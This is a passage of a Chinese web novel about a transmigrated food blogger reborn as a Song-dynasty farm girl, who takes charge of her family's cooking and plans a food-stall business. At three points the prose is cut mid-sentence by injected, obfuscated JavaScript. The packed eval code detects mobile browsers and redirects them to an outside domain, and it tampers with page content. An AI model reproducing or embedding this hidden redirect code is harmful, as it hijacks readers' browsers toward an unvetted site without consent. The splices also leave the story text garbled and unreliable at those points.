《农家小娘子的奋斗日常》 1. 金钗之年 夏日的一个清晨，在江南一处偏远的小村庄里，此起彼伏的鸡鸣声划破了夜色，在微微光的晨曦中，家家户户响起了窸窸窣窣的起早声。 在村东面一处颇有年代的瓦顶黄土墙宅子的西厢房中，平日里鸡鸣三声才懒洋洋起身的卢晓晓此时正端端正正的坐在床沿边，兴奋地等着她娘卢二娘子过来梳头。 卢晓晓今年十二岁，在家里排行第三，上头有两个哥哥，大哥卢怀安，年十六，二哥卢怀仁，年十四，下头还有个同胞弟弟卢怀义。 卢晓晓是家中唯一的姑娘。 不一会儿，卢二娘子来了，只见她中等身高，体型偏瘦，鹅蛋脸，秀气的五官能看出年轻时的好颜色。穿着一身洗得泛白的青灰色细布衣裳，梳着罗髻，头上簪着一朵淡蓝色的绢花，透着一股雅致娴静，气质不同于一般农妇。 卢娘子姓杜，是村里杜秀才的独生女儿，说起杜秀才，就不得不说一说这杜家村。 杜家村地处几座山的山坳之间，距离最近的城关镇约十余里路，外出需经过一处山口，山口狭小，只能通过一驾的平头车，平头车形如太平车而略小。 村东面一处山涧沿着地势蜿蜒而下，形成一条不大不小的小河，村里耕地不多，各家各户的田地、宅子错落分布在河两岸，耕作、吃饭都靠着这条小河。 杜家村的地理条件在和平年代，自是算不上好，甚至可以说是差，可赶上动乱时期，不便的交通就成了天然的保护屏障，虽说也逃不过军队来征兵征粮，但这杜家村四面环山，往山里藏一藏躲一躲，也就都在这乱世中活了下来。 说回杜秀才，这杜秀才约摸二十岁的时候中了秀才，在城关镇也算得上颇具才情，奈何乡试屡试不中，后见动乱四起，便带着娘子和八岁的女儿回到了杜家村，花了三十两银子在村里买了十亩良田，便这么安置下来。 杜秀才的娘子是中秀才后在镇上娶的小娘子，粗会一些刺绣手艺，回到杜家村后，杜秀才在村里教授一些孩子读书识字，杜娘子在镇上接一些小绣件的活，再加上佃出去的土地收上来的租子，日子也过得颇为富足，没两年就重新盖了房子。 日子要是能这么继续下去，杜秀才或能发展成为杜家村的富户，可世道偏偏越发地乱了起来，这世道一乱，大家填饱肚子就够难的了，哪还有读书识字的心思，镇上的商户也关了门，杜娘子的绣件也就没了去处。 若只是这样还好，杜秀才和杜娘子虽不会干地里的活，每年佃田收上来的粮食也有七、八石，正好够一家三口的嚼用，再加上手里的积蓄补贴，也能顺顺当当的过下去。 可偏偏杜娘子病了，这乱世中可真真是病不起，几副药下去，就快掏光了家底。 杜姑娘十四岁的时候，世道更乱了，药铺也关门了，大夫不是被乱军征了去，就是躲了起来。 都说久病成医，杜娘子病的这些年，杜秀才看着大夫开方也学了些药理，识得一些草药，便自己到山里寻一些草药，按照书上的方式炮制成药材，勉勉强强，杜娘子也这么挨了下去。 初入山时，杜秀才会使几个铜子请村里的青壮年陪同，后见近山没什么有危险的野兽，杜秀才行动也越发便利，便独自入山了。 一日，杜秀才正在山里寻一味药材，不知不觉入得深了些，忽听身后一阵窸窸窣窣的声音，回头一看，怛然失色，一头野猪正在不远处盯着他。 正当杜秀才以为自己将命丧此处之时，左右侧来了几个青壮年，用箭，用耙，用锄头将野猪围了起来，野猪在众人的围攻下冲势越来越小，最后被一名约摸十几岁的青年一箭射中了眼睛，毙了命。 这人便是后来卢晓晓的二伯，卢大富。 卢家一家是逃乱过来的，当时已基本天下大定，旧朝的一位赵姓统帅被拥立为帝，成立新朝，国号为“宋”，这便是后世说的北宋。 卢家原来住的村子在南边一处乱军割据的地界中，新朝建立后，新帝立马派遣主力南征，乱军负隅抵抗，靠近边界的几个村子十室九空。 卢爷爷为躲避乱军的乱抓丁，带着卢大富和卢大贵两兄弟，并着村里的另外的一户人，以及逃乱路上遇到的两户张姓人家，一路逃到了此处。 卢家还有个大儿子，在动乱初期，便被征兵征走了，一去几年，杳无音信。 卢家一行人围攻野猪时，有一个姓张的壮年受了伤，被野猪牙撩到了胳膊。这几户人敢逃乱出来，还敢往山里去，同行中自是有人有这治伤的本事，其中有一户姓韩的人家，韩爷子便是原先村里的草药郎中。 只是天气炎热，伤者确不好再在这山中生活，且读书人重报恩，古有“结草衔环”之说，今这救命之恩，杜秀才更是无甚感激。 杜秀才迎着几家人回到了村里，报了里正，给了村里几十个铜子，将这四家人安置到了村西面两处空置的屋子中。 卢家人在村里住了几日，觉得此处安宁祥和，经历了乱世的人，最看重的就是平安，与同行的几家人一商量，便决定在此处定居下来。 托了杜秀才搭线，找了里正，表达了想要定居下来的意思。 里正见这群人中青壮汉颇多，且还有人有那断症开药的本事，便利落地答应下来，带着几家的主事人到县衙落下了户籍。 自此，卢家并韩家、张姓两家在杜家村住了下来，之后各家各自开荒置宅，不再赘叙。 又说这卢家，落户后，卢爷爷花了十两银子购置了村西面的二十亩荒地，又在这荒地上盖起了三间两椽的瓦顶草顶黄土房，中间的一间作为正堂，卢爷爷住在右边的屋子，卢氏两兄弟住在左边的屋子，又在正屋的右侧搭了一间灶房。 卢爷爷和卢家两兄弟都是能干人，在购置的荒地上开垦出十八亩田地，两兄弟也颇有些打猎的本事，靠着村民借的粮食和山里猎到的野物，卢家顺利地度过了初时最难的一年。 又过了两年，卢家有了余粮，两兄弟在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811404|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山里猎到的野物在镇上陆续换了些银子，日子好过了起来。 这一年，卢大富二十一岁，卢大贵十九岁，都该娶妻了。 可卢爷爷一个大老爷们如何去给儿子寻摸亲事？ 好在卢家两兄弟都身形高大，长相周正，卢大富到里正家接车运余粮到镇上卖时，里正家小娘子看上了卢大富。 里正和里正娘子见卢大富着实能干，说话行事颇有章程，且嫁过去就能当家，不用伺候婆母，也颇为赞成这门婚事，便找了杜秀才去卢家透风。 再说这杜秀才，杜娘子终究没能撑下去，两年前的冬天去世了，如今，杜姑娘十七岁，等出了孝便是十八了。 杜娘子去世前，都是卢家两兄弟代为进山寻药，杜家为表感激，杜姑娘便帮卢爷爷和两兄弟做些缝补的活。 当然，明面上都说是杜娘子做的，可杜娘子都起不来身了，还怎么做活。 这杜姑娘继承了杜娘子的刺绣手艺，且更具天赋。 卢爷爷一直希望杜姑娘能成自己的儿媳妇，可先前家中条件确实是差，杜姑娘能绣花，会识字，自己如何能开口？后来家中条件好了，杜姑娘又在孝期中，就更没法说了。 这天，杜秀才询问杜姑娘对卢大贵的看法，杜姑娘回说全凭爹做主。 傍晚，杜秀才来到这卢家，先是说起里正对卢大富的赞许，又是提起里正家小娘子正值婚嫁，卢家一听大喜，父子两商定次日一早便去寻了媒婆到里正家说媒。 借着喜庆的气氛，又说起了杜姑娘的婚事，两家人一拍即合，商定好杜姑娘出孝期后，两人就成婚。 两家还商定，卢大富、卢大贵都成家后，就把家分了，卢爷爷跟着卢大富生活，这么着杜秀才也能跟着女儿女婿一起生活。 不久，卢大富就和里正家的小娘子成了婚，里正家还带着几个儿子帮着卢家，在正房左右两侧各加建了两间厢房，扩大了灶房，再给搭建了鸡舍。 又过一年，卢大贵和杜姑娘成了婚，两兄弟分了家，卢大贵小两口得了六亩田，十两银子，加上杜家原有的土地，日子过得很不错。 卢家妯娌俩都姓杜，村里人便称里正家小娘子为卢大娘子，杜姑娘为卢二娘子。 两兄弟分家不分心，两家人十几年来一直密切往来着。 说回现在，在卢二娘子的巧手下，卢晓晓的头发被挽成了同心髻，再插上一把小木梳固定，斜插一枚绯红色绢花钗子，配上一双杏子眼，分外的娇俏可爱。 十二岁又称金钗之年，是古代女子重要的年龄，到了十二岁意味着告别了童年，就可以戴钗钗饰，打扮自己了。 插上钗子，卢晓晓急乎乎的便要起身，卢二娘子把她轻轻的压坐在凳子上，理了理碎发，道:“着急忙慌的像什么样子，那灶房还能跑了你的。” 是了，卢晓晓高兴地并不是今天能打扮了，而是从今天开始，她便能在家里掌厨了！她等这一天很久了！ 2. 卢晓晓 卢晓晓是穿越过来的，在现代时是个古代美食博主，喜欢复刻一些古代美食。 穿越前，她刚刚得到几道古代菜谱，兴致勃勃的去采购了菜谱上的原料，回家的路上满心念着菜谱的内容，一不留神踩到了未盖好的井盖，只觉得眼前一黑，便失去了意识。 再醒来便成了黄土屋子里只会哇哇哭的小婴儿，边上还躺着另一个红通通丑巴巴的婴儿。 她也做过一些穿越古代，靠美食发家致富，走上人生巅峰的梦，可没想到会成真，也没想到人生巅峰的起点，还有一个喜欢把口水呼她一脸的小屁孩。 不知不觉，卢晓晓就在与小屁孩的搏斗中长到了三岁，到了可以满院子跑的年龄，就天天跟在卢二娘子身后，在灶房里打转。 人人都道卢家这小闺女粘人的紧，后发现卢二娘子喂鸡、摘菜的时候，小尾巴就不跟着了，只觉得这是个爱吃的小吃货。 就这么转到了八岁，卢家还是普普通通的农户，卢晓晓也还是普普通通的小农女。 这期间，卢晓晓想过潜移默化地把卢二娘子培养成大厨，可她很快就发现，大厨不是创意就可以的，首先得肯下功夫练刀工，然后必须得拿得准火候，最后必须要有灵敏的味觉。 可卢二娘子的技能点压根就没加在厨艺这一项上，做的饭菜也只是不难吃的水平。 而且卢二娘子也不听她的创意啊，只当是孩子闹着玩。 她也想过自己偷偷动手，一鸣惊人的成为天才小厨娘，可她根本颠不动家里的铁锅，更没法一边烧火一边做菜。 除此之外，最最重要的是，古代的调料有限、食材有限，更没有现代花样繁多的厨具。活在温饱线上的卢家能用到的更是有限了。 扎着两个小揪揪的小姑娘很是忧愁，对灶房失去了兴趣，起床后就不再往灶房去了，只坐在屋子里发呆。男女七岁不同席，八岁的卢晓晓已经有了自己的屋子。 卢大贵一家现在住的是杜秀才回村后盖的房子，杜秀才在两年前去世了。 宅子前堂后室，均面阔三间，两侧各建有两间厢房，灶房挨着西边厢房，正对着放粮的仓库。 杜家的宅子大，卢氏夫妇两住在后室的主屋，左边住着卢晓晓，右边原是杜秀才的书房，加了一张床，住着卢家三郎。卢家大郎和卢家二郎分别住在东西厢房的第一间。 卢家大郎幼年时跟着杜秀才读过几年书，他是肯学的，但是没有科考的天分，读不好四书五经，对算术倒是颇有天赋。凭着识字算术的本事，去年在镇上谋了个活，在一家书肆当伙计。 卢家二郎不爱读书，自小便爱四处跑，上山逮兔子，下河捕鱼虾，被拘着学了两年字，就再也不肯学了，平时跟着卢大贵料理农活，闲时就到处折腾。 幸得卢家三郎小小年龄便表现出天资聪颖，杜秀才将满怀的希望寄托到他身上，可那时杜秀才身子已然不好，不过一年便去了，临终前嘱咐女儿女婿一定要好好供孩子上学。 虽然卢晓晓还不会做饭，但平日里总跟着在灶房里转悠，递个东西，添根柴也还是能做的，也能帮帮卢二娘子。 在灶房做吃食的卢二娘子不见小女儿过来，吃完早食，收拾碗筷的时候便询问到，“今日可是不舒服，怎就不去灶房了？” 卢晓晓张了张口，没法说出她的烦恼，只摇了摇头，说“没意思”。 小孩儿一本正经的样子，卢二娘子只觉得好笑，她是跟着杜秀才念过些书的，不认为女孩不喜欢做饭有什么大不了的，她自己就不喜欢做饭。 笑说，“这会觉得没意思啦，娘看你自小就爱往这灶上来，还说过几年就让你管咱家的吃食，以后好嫁人呐。” 哦，嫁人。 嫁人！ 卢晓晓一激灵，她光想着发财，忘了还有嫁人这事了。 她是家中唯一的女儿，从小表现得聪明伶俐，很受宠爱。 灶上的活又是她喜欢的，喜欢就不算干活，四舍五入卢晓晓没干过什么活。 再加上她家以及她接触最多的二伯家，都是夫妻和谐，妻子在家颇受尊重，遇事也会一起商量，两家男丁多，也不需要女人下地干活。 所以，除了受物质条件和生产力水平的限制，卢晓晓就没觉得跟现代有什么不同。 虽说也听说过村里的谁谁谁被家里的男人打了，可现代也有家暴事件呀。 卢晓晓瞬间惊醒了，在大力宣扬男女平等的现代，都深受千百年来男尊女卑观念的影响，更别提这古代了。 古代有十五及笄嫁人一说，更有甚者，十三岁就出嫁了。出嫁便得从夫，要是再有个刻薄婆婆和难缠的妯娌，这日子简直能要她命。 不嫁人是不可能的，卢晓晓记得有个皇帝规定，女子到了十五岁还未嫁，就要罚款。 这些不说，女子若是独自一人生活，又无他人庇佑，怕是连自身安全都保障不了。父母兄弟毕竟不能管她一世。 当然，卢大贵夫妇定会好好为她寻觅夫家，可这就充满了未知。 她必须掌握自己的命运，而且要在她的亲事议定之前，她不能坐以待毙。 想到这，她立马振作了起来，问道，“娘准备什么时候让我管咱家吃食呀？” 卢二娘子笑，“怎么，听到嫁人，又有意思啦？” “娘休胡说，这管吃食跟在灶房打杂如何一样，管吃食自是有意思多了，娘快说说何时让我管事。”卢晓晓赶紧辩白，若是卢二娘子认为她开窍的早，早早的给定下亲事就坏了。 “行行行，等你十二岁的时候，咱家的吃食就交你做了。” “娘，先说好了，购置吃食的钱也交我管，我一起学着管家呗！”光做饭能成什么事，手里有银子才有更多的可能。 “那你可得好好表现，让娘看看你的本事。”穷人早当家，女儿有学管家的想法，那自是好的。 又过四年，卢晓晓终于迎来了十二岁生辰，全家上下都盼着这一天的到来。 卢二娘子终于能放下灶上的活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811405|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，踏踏实实绣她的花了。卢家父子也是非常愿意，卢晓晓的手艺可比卢二娘子好多了！ 在这四年间，卢晓晓下足了苦功夫练厨艺，面条拉得细细的，面皮擀得薄薄的，切起菜来又快又好，同样的菜，做出来也比卢二娘子做的滋味好上三分，火烧的更是一等一的好。 杜家村所在的城关镇位于青阳县，是江宁府下辖的一个县，江宁府是江南东路的首府，是东南地区的经济、文化中心。 新朝建立后，朝廷大力支持经济发展，虽说青阳县的经济在江宁府中排末等，但各项买卖已经非常活跃。 卢晓晓跟着卢大贵到镇子上几回，镇上有肉店、粮店、布店、杂货店，酒楼、茶楼、书肆、点心铺子、首饰店也一应俱全，还有做买卖、租赁中介生意的牙行。 街上开设了摆摊的地方，卖吃食的尤其多。一个巴掌大的烧饼卖五文钱，一碗汤饼八文钱，加两片肉再贵上两文钱，一杯甜饮子是两文钱，卢晓晓觉得味道一般。 她还知道，在街上摆摊需每天给衙差交两文钱，若是不支摊子，边走边卖，就能省了这两文钱。 这是她往日趁着卢大贵在粮店里卖粮的时候，跟街边卖炊饼的大娘打探来的。 这镇子上摆摊的地方主要有两处，一处是在这街市里，另一处是在镇子的码头上，码头上的摆摊费略贵一些，一日需五文钱。 梳罢头，卢二娘子回主屋取来一个钱匣子，只见匣子里的铜钱十个一串，看着有好几十串。 “这匣子里是半贯钱，是咱家这个月吃食的花销，从今儿起，你可是咱家的小管事了。” “娘，我一定好好干！”卢晓晓接过匣子，藏到柜子里。 “你是个有成算的，娘自是放心，不过你刚开始管钱，娘还是要跟你说道说道。这钱够咱家隔个两三天买上一斤肉，你可别在月头就花光了。米呢，是自家的，闲时做稀一些，忙时做干饭，得管饱。菜就到地里摘，有啥吃啥，可别花钱了。” 眼见卢二娘子越说越不放心，卢晓晓赶紧说道，“娘，这些我都知晓，您放心，我就照着往日的做，不乱花钱。咱赶快去做早食吧，晚了，该赶不上三弟课休了。” 卢家三郎在村里的学堂念书，学堂每日辰时上早课，巳时休息一刻钟，给学生吃早食。他是有天分的，今夏已考过童生。 从厢房出来，卢二娘子去喂鸡。卢晓晓来到灶房，淘了米，加了过面的水，放到灶上大火烧，时不时的用勺子翻一翻，不一会儿，水沸腾起来，大米在锅里翻滚，她盖上锅盖，抽出一根柴，用小火焖着米饭。 到后院的菜地里摘了把小葱，打了两个鸡蛋，小葱切碎放到蛋液里，加上一小抓面粉，放上一撮盐，拌匀。往锅里抹上点猪油，把蛋液到进锅里，滋啦一声，等蛋液微微凝固便翻面，煎得两面金黄，蛋香伴着葱香直往人鼻子里钻。再从坛子里拣出一把腌豆角，切好装盘子里，饭便煮好了。 给卢三郎送了早食，卢大贵和卢二郎也从地里回来了。 3. 红烧肉 吃过早食，卢二娘子回屋准备针线，这是先前说好的，等卢晓晓能管事了，卢二娘子就教两个侄女刺绣。 卢晓晓在灶房里收拾，卢二郎跑过来，兴奋地问，“晓晓，晚上吃什么好吃的？今天可是大日子！我们做肉吃吧，正好大哥今天回来。” “今天自是要做肉吃，等我收拾好，就去买两斤肉去，咱吃红烧肉！” “红烧肉是什么，怎么往日不曾见你做过？” “这红烧肉呀，专选那肥瘦相间的五花肉，煸炒得微黄，再放入红糖、酱油、盐等调料，小火慢炖半个时辰，吃起来肥而不腻，香甜松软，入口即化。” 卢二郎一听，只觉得口齿生津，“这么好的菜先前怎么不做呀！” “这又是肥肉，又费糖、又费柴的，娘哪能让做，我这第一回做，哥你可别说漏嘴了！这做法确实费，咱家也不能常吃呢！” 前院传来卢大贵唤二郎出门的声音。 “二哥肯定不说，娘吃好了就不会说什么了，回头二哥再给你寻些野味来，这会儿先下地啦！”说完赶忙追了出去。 卢晓晓收拾好灶房，回屋取了八串钱，到山坳外李家村的屠夫家，拣了两块肥瘦相间的五花肉，花了七十文钱，她嘴甜又讨喜，还得了根棒子骨。 这李家村在山外比杜家村富庶不少，相邻的几个小村庄都到这来买肉，村里卖肉不需要门面，也就比镇上的肉便宜了一点。 拿着肉和骨头，又绕道去菜地拔了两根白萝卜。 回到家，春芬、春芳两位堂姐已经来了，在堂屋跟着卢二娘子认针法。见卢晓晓回来，便停下来，拿了两朵绢花贺她生辰，又要跟去灶房干活。 卢晓晓连忙摆手，笑说“两位姐姐踏实在这绣花吧，我手笨，学不会这活，我娘可盼着教两位姐姐啦，要是叫我给耽误了，就得把我这管事收回去啦。” 卢二娘子也道，“春芬、春芳快坐下，你们妹妹就喜欢做饭，现在连我也不让进灶房了。” 春芬、春芳知道三叔母和堂妹是真心实意的不叫她俩帮忙干活，也就不再推让，认认真真地跟卢二娘子学起针法。 卢晓晓到了灶房，先是将斩断的棒子骨放到凉水中浸泡，洗干净血水，再将萝卜洗净去皮滚刀切块，放到一边备用。 将棒子骨放入锅中，锅内加冷水没过骨头，大火烧开后捞出，用冷水洗去血沫。再放入锅中，继续加入没过骨头的冷水，放入葱、姜、蒜，葱打结、蒜拍碎、姜切片，大火烧开后，小火慢炖。 棒子骨炖上，卢晓晓就要开始做红烧肉了，先把猪肉切成几段，用灶火燎了燎猪毛，把猪皮考得略微变黄起泡，放入凉水锅里，加上准备好的葱、姜、蒜，大火烧开，用勺子慢慢地撇去沸腾起来的血沫，直到锅里不再有血沫浮起。 将焯过水的猪肉夹到案板上晾凉，用签子在猪肉上扎出小孔，再切成大小相等的小块。 锅里放油，冷油放入葱姜蒜片，小火炒出香味，倒入五花肉翻炒至微黄盛出。 锅里放一小勺油烧至微微热，放入红糖翻炒，至糖完全化掉，再继续翻炒，炒到糖变成枣红色换小火，等到糖色的气泡由大变小迅速将柴火抽掉，倒入热开水。 再将煸好的五花肉倒入锅中，翻炒均匀，让每块肉着上色，再加入少量的酒，少量酱油，没过全部材料的热开水，大火烧开，捞走浮沫，再盖上锅盖，改小火慢炖。 这时，棒子骨汤已熬出香味，将切好的萝卜倒入锅中，继续炖上一刻钟，直至萝卜的清香与骨头汤充分融合，起锅前加少许盐调味。 萝卜骨头汤炖好，便将米饭蒸上，红烧肉下饭，卢晓晓今日多蒸了米。 看了看时辰，红烧肉快好了，揭开锅盖，一股浓郁的肉香味铺面而来，用筷子戳了戳锅里的肉，肉已经炖得软糯，一块块色泽鲜艳的，继续大火收汁，略微粘稠便停火了。 肉炖好，用大碗装了出来，再用个碗夹了十余块肉出来，淋上一小勺肉汁，端去堂屋，堂姐们果然没走。 “春芬姐、春芬姐，今天家里做了红烧肉，是新做法，这肉香糯软烂的，最适合爷爷他老人家吃了，你俩带碗回去尝尝。” “晓晓真是好手艺，这第一日掌厨，就快把我香迷糊了，我刚才还想着怎么也得厚着脸皮尝上一口。”春芬笑说。 两家每回做了稀罕吃食，都会给对方送上一碗，两姐妹也没有多加推辞。 “这肉看着红艳艳的，晓晓这红烧肉的名起的真好。”春芳说。 “好香的味儿呀，晓晓，这就是你说的红烧肉吗？” 说话间，卢二郎和卢大贵从地里回来了，一道回来的，还有放旬假回来的卢大郎，以及下课的卢三郎。 “芬儿和芳儿来了，一会端碗肉回去。”卢大贵虽说不知道什么是红烧肉，但闻着这味，肯定好吃，好吃的自然是要给爹和兄嫂送上一碗。 “谢谢三叔，晓晓正端了碗肉让我们拿家去呢！”说罢，两姐妹又与堂兄堂弟们打过招呼便回家去了。 出门正遇上隔壁打开门伸头看的张大娘，“春芬，你三叔家做啥好吃的了，味儿那么香？” “大娘，是晓晓烧的红烧肉，新做法，还让我俩端了碗回去呢！”村里人爱说闲话，让人多知道两家关系好，对卢家只有好处没有坏处。 卢家炖肉时，好些下地回来经过的村人都闻到了那浓郁的肉香味，再加上张大娘大嘴巴一说，卢晓晓手艺好的名声就这么传开了，这是后话。 卢晓晓又炒了碗白菘，把萝卜骨头汤热了热，就开始吃饭了。面对着一大盆香喷喷的红烧肉，言语都是多余的，大家眼里只有吃肉。 卢晓晓舀一勺汤汁浇到米饭上，夹起一块红烧肉咬了一口，这醇厚的肉味，这软糯的口感，只觉得眼泪都要流出来了，她终于又吃到了熟悉的美食。 吃完米饭，再喝上一碗萝卜骨头汤，萝卜炖透了，一口咬下去，浸入肉味的萝卜汁流入口中，带着萝卜的甜味，再喝一口暖暖的骨头汤，舒服得毛孔都张开了，别提有多熨帖了。 卢三郎吃得两眼放光，卢二郎更不用说了，一通狼吞虎咽，一向老成持重的卢大郎也加快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811406|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吃饭的速度。 “姐，这肉明日还有吗，我想带去学堂吃。”卢三郎已经惦记上了明日的早食。 “还留了小半盆呢，明天早食还能再吃一顿，剩下的汤汁用来做菜也香得很。”卢晓晓回说。 “娘早该把这管事权给晓晓了！”卢二郎直遗憾没能早吃上这么好吃的肉。 连一向不重口腹之欲的卢大贵也不得不在心中感叹这肉真好吃。 卢晓晓见红烧肉的评价很不错，决定跟父母提一下做生意的事情。三郎念书花费不少，大哥二哥娶亲也要花钱，虽说大哥在镇上新谋了差事，每月有一贯半的钱，家里的开销仍是捉襟见肘的。 “爹、娘、大哥、二哥、三郎，觉得这红烧肉如何？” “这当然是好吃，要是天天能吃上就好了！”卢二郎急急的表态。 “娘是第一次见猪肉做得这么好吃的，不过这花销也是高不少，咱家可不能日日吃。”卢二娘子说道。 “若拿这红烧肉到镇上卖，能否赚得下钱？” “拿去卖？是要到镇子上做生意？”卢晓晓的想法有些超过卢大贵的认知了。 “娘幼时住在镇上，确实有许多人家拿自家的吃食在街上卖，多是些瓜果饼子，这肉贵，能使上这些钱的，会在这街边买肉吃吗？” “你娘说得对，咱平日里好吃的少，便觉得好吃，镇上好吃的多了，会不会就不显这肉味好了？这做生意，怕也是有不少门道，我们什么都不懂。”卢大贵担忧道。 “味道方面倒是不用愁，镇子上有家做猪肉颇有名的馆子，掌柜常去买来吃，曾分过我两块，那肉看着黑乎乎的，还有着股猪骚味，远不如晓晓这红烧肉。”卢大郎肯定到。 “不过咱家住在这村里，往来镇上十分不便宜，这肉食生意本大，又易坏，只做红烧肉怕是不行，要好好计划计划。” 卢大郎是赞成做生意的，从地里刨食，也只能将将让一家人温饱，再好的日子就没有了，更别说要继续供三郎读书。 “往日去镇上见好些买吃食的，我做这肉好吃，就想着拿出去卖，给家里挣些钱，没想太多。”卢晓晓也没想过卢家夫妇能马上同意，毕竟家里的每个子儿都来之不易。 “若有手艺，卖吃食这个想法是不错，镇上的人舍得花钱吃，特别是这别处吃不着的，更是受欢迎，晓晓可还想出了其他新吃食？最好是价低些的。只一道红烧肉怕是不成。”卢二娘子知道小女儿在厨艺方面略有天分，若是能成一门生意，那就太好了。 “娘，咱真能做这生意吗？我先前琢磨了几样小食，回头做出来，让你们尝尝，看看味道如何。” “孩儿爹，你看呢？”卢二娘子问卢大贵。 “这卖不出去也能自己吃，那就让晓晓试试吧！” “爹，就晓晓的手艺，哪能卖不出去，我看你就瞎操心。晓晓，二哥绝对支持你！” “行，等过几日晓晓做了新吃食出来，就让二郎一道去出摊。”卢大贵就给定下来了。 卢晓晓没想到，这事竟就这么成了。 4. 肉夹馍 吃过晚食，卢二娘子和卢晓晓一起收拾好灶房，便回屋了。 卢晓晓舀了一碗面出来，准备明早的吃食，她想好了，吃食生意就卖肉夹馍。 这样一来，红烧肉既可以夹在馍里当主食吃，又可以单卖出去做菜吃，要是有炉子，馍还能现吃现做，吃热乎的就更美味了。 古代没有酵母粉，卢晓晓决定用老面发酵，提前一天和好一团面，充分发酵后，作为和面时的面种。 把面粉倒在面板上，中间扒出一个凹塘，将凉开水徐徐倒进去，用筷子慢慢搅动，水吸收后，用手反复搓拌面，使面粉变成许许多多的小面片，而后再继续加水，用手搅拌，小面片成了团团的疙瘩状小面团，再用手蘸些水洒在小面团上，继续揉搓，直到揉成一个光滑的面团。 卢晓晓把揉好的面团用碗装着，放到厨柜里。又接了盆温水回屋擦了擦身，换了身干净的衣服，便到院子里歇凉。 傍晚的院子，微风吹过，拂去了一天的燥热和疲惫，一家人坐在院子里，卢大郎和几个弟弟妹妹说着在镇上的见闻。 “三叔、三婶，我来送碗了，我娘让我拿只兔子过来，晓晓今日做的肉可太好吃了，爷爷吃了一大碗米饭！”二伯家的大堂哥抓着一只约摸三斤重的野兔。 “怀德来啦，今儿又跟你爹进山打猎了？自家留着吃就行了，多的拿去换钱使，别老拿过来了。”卢大贵道。 卢大贵打猎的本领不如哥哥，又常年忙于照顾家里的田地，打猎的本领就荒废了，卢家三兄弟早年跟着杜秀才读书，下地的时间不多。 倒是卢大贵一家，田地不多，两个儿子又继承了他的打猎天赋，三人经常进山打些兔子、野鸡的小动物，一部分留自家吃，另一部分就拿去镇上的酒店换银钱，日子也过得不错。 “今儿猎了好几只呢，晓晓手艺这么好，要是做好了再给我们分一碗尝尝。”卢怀德不好意思道，这是弟弟妹妹特地嘱咐他的。 “那是必然的，明儿等春芬、春芳过来，就顺带拿回去。”卢二娘子接道。 “婶，给我们尝个味就行，可别多了，没啥事我就回去了。”说罢，把兔子递给卢二郎，和几个堂弟妹打了招呼就回去了。 “晓晓，这兔子怎么处理？”卢二郎已经迫不及待吃卢晓晓做的兔肉了。 “二哥，先养着吧，明儿吃过早食再弄。” 大家又坐了一会，就各自回屋歇息了。 主屋里，卢大贵夫妻俩说着做生意的事，“惠娘，你说这卖吃食的事能成吗？” “我是希望这事能成，三郎已经考取了童生，这以后学的跟之前的就不一样了，小杜秀才说等乡试过后，三郎的束脩需涨一些。” “都是我没能力叫你们过上好日子。”卢大贵感叹道。 “哪有的事，日子不都是这么过，地里的活全赖你照应，收的粮食还比别家多，如今大郎去书肆当上活计，也算是有了出路，晓晓手艺好，老二机灵，若是生意能成，咱家的日子只会越来越好。”卢二娘子说道。 “对，咱得对孩子有信心，做吃食估计需要个炉子，赶明儿我就去那赁物行看看。” 说完，两人才歇下。 次日，卢晓晓早早起来和面，舀了一盆的面粉，加水揉搓成疙瘩状的小面团，把发酵好的老面掰成几块，加到新揉的面里，充分揉搓，直到老面与新面完全融合，搓成一个光滑的大面团，又放到盆里醒上半个时辰。 再绕去屋后淋了菜，摘了把鲜翠欲滴的小芹菜和几颗生菜，回到灶房，开始做肉夹馍的面饼。 把醒好的面团揉光滑，揪成一个个小剂子，再搓成两边细中间粗的长条，将长条卷成个圆饼状，压扁。 在锅里抹上点油，把做好的面饼放到锅中，待一面微微发黄，就翻到另一面，直到面饼蓬松，两面微微带金黄色，就起锅。 把烙好的面饼码在簸箕上，盖上面巾，保持面饼的温度，将留着的五花肉用锅热了热，再熬上一锅小米粥，又把摘回来的芹菜和生菜洗净，用热水将芹菜略微焯一焯，焯水时加点盐，保持菜鲜脆的口感。 将五花肉与菜剁碎，面饼从中间切开，把剁碎的肉塞到切开的饼皮里，做了十个巴掌大的肉夹馍，一半塞的是芹菜五花肉，另一半塞的是生菜五花肉。不一会儿，粥也熬好了。 拣了不同口味的肉夹馍，又盛了碗粥给卢三郎送去。回家后，爹和哥哥们也从地里回来了，卢晓晓把肉夹馍和粥端了出来。 肉剩得不多，只做出了十个肉夹馍，她和卢二娘子的胃口小些，将两个肉夹馍对半分了分，这样两个口味都能吃到了。 